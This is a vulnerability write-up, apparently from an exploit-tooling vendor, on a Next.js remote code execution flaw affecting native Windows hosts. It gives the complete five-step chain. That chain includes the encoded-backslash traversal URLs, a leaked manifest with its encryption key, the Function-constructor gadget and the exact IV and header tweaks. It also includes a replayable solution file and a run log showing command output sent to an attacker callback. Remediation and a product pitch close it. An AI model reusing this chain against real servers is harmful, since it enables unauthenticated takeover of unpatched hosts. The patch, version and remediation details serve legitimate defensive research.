Skip to content
By goldendivider nextjscvercewindows

Next.js CVE-2026-75604: unauthenticated RCE on Windows via the filesystem cache

CVE-2026-75604 (GHSA-p293-qw3h-jr36) is an unauthenticated remote code execution in Next.js on native Windows, versions 13.4 through 15.5.23 and 16.0 through 16.3.2. A backslash cache traversal leaks the private Server Action manifest, including the bound-argument encryption key. With the key, an attacker forges a Server Action request whose bound arguments resolve to the JavaScript Function constructor and runs cmd.exe on the server. There is no authentication and no prior access.

The target

We built the lab from the reference POC and ran two replicas: [email protected] (vulnerable) and [email protected] (fixed), both native Windows node on ports 4330 and 4335. The app is small: a Pages ISR route under /pages-cache, an App Router route under /app-cache, and one Server Action form at /.

The action form:

The Server Action form: a value input set to harmless and a Submit button

The two cache routes that make the traversal possible. Both resolve path segments against the .next cache directory on Windows:

The pages-cache ISR route rendering seed The app-cache route rendering seed

The bug

A Server Action form posts hidden inputs: a reference index ($ACTION_REF_1), a descriptor with the action id, and the bound arguments sealed with AES-GCM under a per-deployment key. The key and the action ids live in server-reference-manifest.json inside .next, and they must never leave the server: anyone who reads them can seal bound arguments and impersonate any action.

On Windows, \ is a path separator, and the cache routes pass the request segment straight into the .next cache path. A URL-encoded backslash (%5C) escapes it and reads files from the build tree:

/_next/data/{buildId}/pages-cache/..%5C..%5Cserver-reference-manifest.json

That returns the manifest, unauthenticated:

{"node":{"60ce77a25c832183a15ed26dfe86db9c7587d5a8a7":{"exportedName":"$$RSC_SERVER_ACTION_1","filename":"app/page.js"}},"edge":{},"encryptionKey":"G+oGBn6366I6F8xhoKCQ2o3ydxQ13aMb0ODUQH6dqvY="}

On Linux the same request is inert, because \ is a legal filename character, not a separator. That is why the CVE only affects native Windows hosts.

The chain

Five requests:

  1. Read the build id. GET /pages-cache/seed, capture the build id from __NEXT_DATA__.
  2. Prime the cache. GET /app-cache/..%5C..%5Cserver-reference-manifest with Connection: close, so the app-route cache resolves the manifest path.
  3. Leak the manifest. GET /_next/data/{buildId}/pages-cache/..%5C..%5Cserver-reference-manifest.json with Connection: close, capture the encryptionKey.
  4. Parse the form. GET /, capture the action reference and id, then seal the forged bound arguments: base64(iv + AES-GCM ciphertext) with a 16-byte IV.
  5. Forge the action. POST / as multipart. The sealed bound arguments carry the $1:constructor:constructor gadget, which resolves the JavaScript Function constructor and runs the payload: cmd.exe /d /s /c whoami /priv, with the output POSTed back to the attacker’s listener.

The callback body is the target’s full privilege dump, not a username.

Three details were found by replaying the chain against the real server:

  • Connection: close on the recon steps. With keep-alive, the app-route cache entry is not flushed before the leak, which renders a fallback instead of the manifest.
  • A 16-byte IV. Next.js slices 16 bytes off the sealed payload. The usual 12-byte GCM default gets HTTP 500 and no callback.
  • The cache is one-shot. A failed traversal writes a rendered entry at the traversal path that shadows the manifest on disk. Re-verify by deleting .next and rebuilding.

How the solution encodes this

The chain is written once as a plain text solution. The runtime replays it, captures values from responses, and reports what the asserts found; it never executes anything from the file.

id: nextjs/cve-2026-75604-rce
ref: CVE-2026-75604

vars:
  origin: http://127.0.0.1:4330
  field: value
  command: whoami /priv
  callback_path: /result/exm

The build id, the action reference and id, and the encryption key are all captured from responses in English shapes:

http read-pages
  get "/pages-cache/seed"
  with the header "Connection" set to "close"
  capture the json field "buildId" as build_id
  expect "buildId" in the response

The bound arguments are sealed inline by a set transform that runs after the step’s captures:

http parse-form
  get "/"
  capture the input name after "$ACTION_REF_" as ref
  capture the json field "id" as action_id
  set action_cipher = aesgcm of "{action_id}1:{}\n0:[\"$1:constructor:constructor\"]\n" with "{key}"
  expect "$ACTION_REF_" in the response

Run it, and the runtime prints one line per step and the result:

$ exploitmatic nextjs-cve-2026-75604-rce.txt http://127.0.0.1:4330

read-pages     PASS  contains "buildId"
prime-app      OK    (no test)
leak-manifest  PASS  contains "encryptionKey"
parse-form     PASS  contains "$ACTION_REF_"
forge          PASS  oob "/result/exm" body "PRIVILEGES INFORMATION\r\n----------------------\r\n\r\nPrivilege Name                Description                          State   \r\n============================= ==================================== ======..."

4/4 verified

The result comes from the tests, never from the file. The body is the start of the target’s whoami /priv dump, and swapping the command variable turns the same file into a file-read or recon primitive. The full solution lives in the solutions repository as http/nextjs-cve-2026-75604-rce.txt, with the format reference.

Verification

Against [email protected] the chain runs 4/4 verified and the callback body is the target’s live privilege token. Against [email protected] the traversal is blocked, so the leak and the forge fail and the run ends not verified with exit code 2: a clean failure, not a false alarm.

Remediation

Upgrade to 15.5.24 or 16.3.3. On native Windows, treat any reachable .next traversal as code execution, and watch for URL-encoded backslashes in pages-data and app-route paths. Avoiding the filesystem cache shrinks the surface until the upgrade lands.

Give exploit research a common language.

Bring a PoC, a writeup, or an AI-generated draft into an Exploitmatic solution: inspect it, validate it, and replay it against a target you own. The runtime and the corpus are open source.